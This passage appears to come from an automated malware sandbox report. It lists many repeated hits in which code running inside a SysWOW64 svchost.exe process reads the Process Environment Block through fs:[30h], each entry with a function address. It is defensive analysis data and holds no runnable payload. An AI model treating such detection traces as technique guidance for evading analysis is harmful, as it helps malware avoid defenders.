Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4260B mov eax, dword ptr fs:[00000030h]	2_2_02D4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4260B mov eax, dword ptr fs:[00000030h]	2_2_02D4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4260B mov eax, dword ptr fs:[00000030h]	2_2_02D4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E627 mov eax, dword ptr fs:[00000030h]	2_2_02D4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D66620 mov eax, dword ptr fs:[00000030h]	2_2_02D66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D68620 mov eax, dword ptr fs:[00000030h]	2_2_02D68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3262C mov eax, dword ptr fs:[00000030h]	2_2_02D3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3C7C0 mov eax, dword ptr fs:[00000030h]	2_2_02D3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB07C3 mov eax, dword ptr fs:[00000030h]	2_2_02DB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D347FB mov eax, dword ptr fs:[00000030h]	2_2_02D347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D347FB mov eax, dword ptr fs:[00000030h]	2_2_02D347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D527ED mov eax, dword ptr fs:[00000030h]	2_2_02D527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D527ED mov eax, dword ptr fs:[00000030h]	2_2_02D527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D527ED mov eax, dword ptr fs:[00000030h]	2_2_02D527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBE7E1 mov eax, dword ptr fs:[00000030h]	2_2_02DBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD678E mov eax, dword ptr fs:[00000030h]	2_2_02DD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D307AF mov eax, dword ptr fs:[00000030h]	2_2_02D307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE47A0 mov eax, dword ptr fs:[00000030h]	2_2_02DE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30750 mov eax, dword ptr fs:[00000030h]	2_2_02D30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBE75D mov eax, dword ptr fs:[00000030h]	2_2_02DBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72750 mov eax, dword ptr fs:[00000030h]	2_2_02D72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72750 mov eax, dword ptr fs:[00000030h]	2_2_02D72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB4755 mov eax, dword ptr fs:[00000030h]	2_2_02DB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6674D mov esi, dword ptr fs:[00000030h]	2_2_02D6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6674D mov eax, dword ptr fs:[00000030h]	2_2_02D6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6674D mov eax, dword ptr fs:[00000030h]	2_2_02D6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38770 mov eax, dword ptr fs:[00000030h]	2_2_02D38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770 mov eax, dword ptr fs:[00000030h]	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30710 mov eax, dword ptr fs:[00000030h]	2_2_02D30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D60710 mov eax, dword ptr fs:[00000030h]	2_2_02D60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C700 mov eax, dword ptr fs:[00000030h]	2_2_02D6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6273C mov eax, dword ptr fs:[00000030h]	2_2_02D6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6273C mov ecx, dword ptr fs:[00000030h]	2_2_02D6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6273C mov eax, dword ptr fs:[00000030h]	2_2_02D6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAC730 mov eax, dword ptr fs:[00000030h]	2_2_02DAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C720 mov eax, dword ptr fs:[00000030h]	2_2_02D6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C720 mov eax, dword ptr fs:[00000030h]	2_2_02D6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D304E5 mov ecx, dword ptr fs:[00000030h]	2_2_02D304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEA49A mov eax, dword ptr fs:[00000030h]	2_2_02DEA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D644B0 mov ecx, dword ptr fs:[00000030h]	2_2_02D644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBA4B0 mov eax, dword ptr fs:[00000030h]	2_2_02DBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D364AB mov eax, dword ptr fs:[00000030h]	2_2_02D364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEA456 mov eax, dword ptr fs:[00000030h]	2_2_02DEA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2645D mov eax, dword ptr fs:[00000030h]	2_2_02D2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5245A mov eax, dword ptr fs:[00000030h]	2_2_02D5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E443 mov eax, dword ptr fs:[00000030h]	2_2_02D6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E443 mov eax, dword ptr fs:[00000030h]	2_2_02D6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E443 mov eax, dword ptr fs:[00000030h]	2_2_02D6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E443 mov eax, dword ptr fs:[00000030h]	2_2_02D6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E443 mov eax, dword ptr fs:[00000030h]	2_2_02D6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E443 mov eax, dword ptr fs:[00000030h]	2_2_02D6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E443 mov eax, dword ptr fs:[00000030h]	2_2_02D6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E443 mov eax, dword ptr fs:[00000030h]	2_2_02D6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5A470 mov eax, dword ptr fs:[00000030h]	2_2_02D5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5A470 mov eax, dword ptr fs:[00000030h]	2_2_02D5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5A470 mov eax, dword ptr fs:[00000030h]	2_2_02D5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBC460 mov ecx, dword ptr fs:[00000030h]	2_2_02DBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D68402 mov eax, dword ptr fs:[00000030h]	2_2_02D68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D68402 mov eax, dword ptr fs:[00000030h]	2_2_02D68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D68402 mov eax, dword ptr fs:[00000030h]	2_2_02D68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A430 mov eax, dword ptr fs:[00000030h]	2_2_02D6A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E420 mov eax, dword ptr fs:[00000030h]	2_2_02D2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E420 mov eax, dword ptr fs:[00000030h]	2_2_02D2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2E420 mov eax, dword ptr fs:[00000030h]	2_2_02D2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2C427 mov eax, dword ptr fs:[00000030h]	2_2_02D2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB6420 mov eax, dword ptr fs:[00000030h]	2_2_02DB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB6420 mov eax, dword ptr fs:[00000030h]	2_2_02DB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB6420 mov eax, dword ptr fs:[00000030h]	2_2_02DB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB6420 mov eax, dword ptr fs:[00000030h]	2_2_02DB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB6420 mov eax, dword ptr fs:[00000030h]	2_2_02DB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB6420 mov eax, dword ptr fs:[00000030h]	2_2_02DB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB6420 mov eax, dword ptr fs:[00000030h]	2_2_02DB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D365D0 mov eax, dword ptr fs:[00000030h]	2_2_02D365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A5D0 mov eax, dword ptr fs:[00000030h]	2_2_02D6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6A5D0 mov eax, dword ptr fs:[00000030h]	2_2_02D6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E5CF mov eax, dword ptr fs:[00000030h]	2_2_02D6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E5CF mov eax, dword ptr fs:[00000030h]	2_2_02D6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02D5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02D5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02D5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02D5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02D5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02D5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02D5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02D5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D325E0 mov eax, dword ptr fs:[00000030h]	2_2_02D325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C5ED mov eax, dword ptr fs:[00000030h]	2_2_02D6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6C5ED mov eax, dword ptr fs:[00000030h]	2_2_02D6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E59C mov eax, dword ptr fs:[00000030h]	2_2_02D6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D32582 mov eax, dword ptr fs:[00000030h]	2_2_02D32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D32582 mov ecx, dword ptr fs:[00000030h]	2_2_02D32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D64588 mov eax, dword ptr fs:[00000030h]	2_2_02D64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D545B1 mov eax, dword ptr fs:[00000030h]	2_2_02D545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D545B1 mov eax, dword ptr fs:[00000030h]	2_2_02D545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB05A7 mov eax, dword ptr fs:[00000030h]	2_2_02DB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB05A7 mov eax, dword ptr fs:[00000030h]	2_2_02DB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB05A7 mov eax, dword ptr fs:[00000030h]	2_2_02DB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38550 mov eax, dword ptr fs:[00000030h]	2_2_02D38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38550 mov eax, dword ptr fs:[00000030h]	2_2_02D38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6656A mov eax, dword ptr fs:[00000030h]	2_2_02D6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6656A mov eax, dword ptr fs:[00000030h]	2_2_02D6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6656A mov eax, dword ptr fs:[00000030h]	2_2_02D6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC6500 mov eax, dword ptr fs:[00000030h]	2_2_02DC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04500 mov eax, dword ptr fs:[00000030h]	2_2_02E04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04500 mov eax, dword ptr fs:[00000030h]	2_2_02E04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04500 mov eax, dword ptr fs:[00000030h]	2_2_02E04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04500 mov eax, dword ptr fs:[00000030h]	2_2_02E04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04500 mov eax, dword ptr fs:[00000030h]	2_2_02E04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04500 mov eax, dword ptr fs:[00000030h]	2_2_02E04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04500 mov eax, dword ptr fs:[00000030h]	2_2_02E04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40535 mov eax, dword ptr fs:[00000030h]	2_2_02D40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40535 mov eax, dword ptr fs:[00000030h]	2_2_02D40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40535 mov eax, dword ptr fs:[00000030h]	2_2_02D40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40535 mov eax, dword ptr fs:[00000030h]	2_2_02D40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40535 mov eax, dword ptr fs:[00000030h]	2_2_02D40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40535 mov eax, dword ptr fs:[00000030h]	2_2_02D40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E53E mov eax, dword ptr fs:[00000030h]	2_2_02D5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E53E mov eax, dword ptr fs:[00000030h]	2_2_02D5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E53E mov eax, dword ptr fs:[00000030h]	2_2_02D5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E53E mov eax, dword ptr fs:[00000030h]	2_2_02D5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5E53E mov eax, dword ptr fs:[00000030h]	2_2_02D5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30AD0 mov eax, dword ptr fs:[00000030h]	2_2_02D30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D64AD0 mov eax, dword ptr fs:[00000030h]	2_2_02D64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D64AD0 mov eax, dword ptr fs:[00000030h]	2_2_02D64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D86ACC mov eax, dword ptr fs:[00000030h]	2_2_02D86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D86ACC mov eax, dword ptr fs:[00000030h]	2_2_02D86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D86ACC mov eax, dword ptr fs:[00000030h]	2_2_02D86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6AAEE mov eax, dword ptr fs:[00000030h]	2_2_02D6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6AAEE mov eax, dword ptr fs:[00000030h]	2_2_02D6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D68A90 mov edx, dword ptr fs:[00000030h]	2_2_02D68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04A80 mov eax, dword ptr fs:[00000030h]	2_2_02E04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38AA0 mov eax, dword ptr fs:[00000030h]	2_2_02D38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38AA0 mov eax, dword ptr fs:[00000030h]	2_2_02D38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D86AA4 mov eax, dword ptr fs:[00000030h]	2_2_02D86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36A50 mov eax, dword ptr fs:[00000030h]	2_2_02D36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36A50 mov eax, dword ptr fs:[00000030h]	2_2_02D36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36A50 mov eax, dword ptr fs:[00000030h]	2_2_02D36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36A50 mov eax, dword ptr fs:[00000030h]	2_2_02D36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36A50 mov eax, dword ptr fs:[00000030h]	2_2_02D36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36A50 mov eax, dword ptr fs:[00000030h]	2_2_02D36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D36A50 mov eax, dword ptr fs:[00000030h]	2_2_02D36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40A5B mov eax, dword ptr fs:[00000030h]	2_2_02D40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40A5B mov eax, dword ptr fs:[00000030h]	2_2_02D40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DACA72 mov eax, dword ptr fs:[00000030h]	2_2_02DACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DACA72 mov eax, dword ptr fs:[00000030h]	2_2_02DACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6CA6F mov eax, dword ptr fs:[00000030h]	2_2_02D6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6CA6F mov eax, dword ptr fs:[00000030h]	2_2_02D6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6CA6F mov eax, dword ptr fs:[00000030h]	2_2_02D6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDEA60 mov eax, dword ptr fs:[00000030h]	2_2_02DDEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBCA11 mov eax, dword ptr fs:[00000030h]	2_2_02DBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D54A35 mov eax, dword ptr fs:[00000030h]	2_2_02D54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D54A35 mov eax, dword ptr fs:[00000030h]	2_2_02D54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6CA38 mov eax, dword ptr fs:[00000030h]	2_2_02D6CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6CA24 mov eax, dword ptr fs:[00000030h]	2_2_02D6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5EA2E mov eax, dword ptr fs:[00000030h]	2_2_02D5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDEBD0 mov eax, dword ptr fs:[00000030h]	2_2_02DDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D50BCB mov eax, dword ptr fs:[00000030h]	2_2_02D50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D50BCB mov eax, dword ptr fs:[00000030h]	2_2_02D50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D50BCB mov eax, dword ptr fs:[00000030h]	2_2_02D50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30BCD mov eax, dword ptr fs:[00000030h]	2_2_02D30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30BCD mov eax, dword ptr fs:[00000030h]	2_2_02D30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30BCD mov eax, dword ptr fs:[00000030h]	2_2_02D30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38BF0 mov eax, dword ptr fs:[00000030h]	2_2_02D38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38BF0 mov eax, dword ptr fs:[00000030h]	2_2_02D38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D38BF0 mov eax, dword ptr fs:[00000030h]	2_2_02D38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5EBFC mov eax, dword ptr fs:[00000030h]	2_2_02D5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBCBF0 mov eax, dword ptr fs:[00000030h]	2_2_02DBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40BBE mov eax, dword ptr fs:[00000030h]	2_2_02D40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40BBE mov eax, dword ptr fs:[00000030h]	2_2_02D40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE4BB0 mov eax, dword ptr fs:[00000030h]	2_2_02DE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE4BB0 mov eax, dword ptr fs:[00000030h]	2_2_02DE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D28B50 mov eax, dword ptr fs:[00000030h]	2_2_02D28B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDEB50 mov eax, dword ptr fs:[00000030h]	2_2_02DDEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE4B4B mov eax, dword ptr fs:[00000030h]	2_2_02DE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE4B4B mov eax, dword ptr fs:[00000030h]	2_2_02DE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC6B40 mov eax, dword ptr fs:[00000030h]	2_2_02DC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC6B40 mov eax, dword ptr fs:[00000030h]	2_2_02DC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFAB40 mov eax, dword ptr fs:[00000030h]	2_2_02DFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD8B42 mov eax, dword ptr fs:[00000030h]	2_2_02DD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2CB7E mov eax, dword ptr fs:[00000030h]	2_2_02D2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E02B57 mov eax, dword ptr fs:[00000030h]	2_2_02E02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E02B57 mov eax, dword ptr fs:[00000030h]	2_2_02E02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E02B57 mov eax, dword ptr fs:[00000030h]	2_2_02E02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E02B57 mov eax, dword ptr fs:[00000030h]	2_2_02E02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02DAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02DAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02DAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02DAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02DAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02DAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02DAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02DAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02DAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E04B00 mov eax, dword ptr fs:[00000030h]	2_2_02E04B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5EB20 mov eax, dword ptr fs:[00000030h]	2_2_02D5EB20
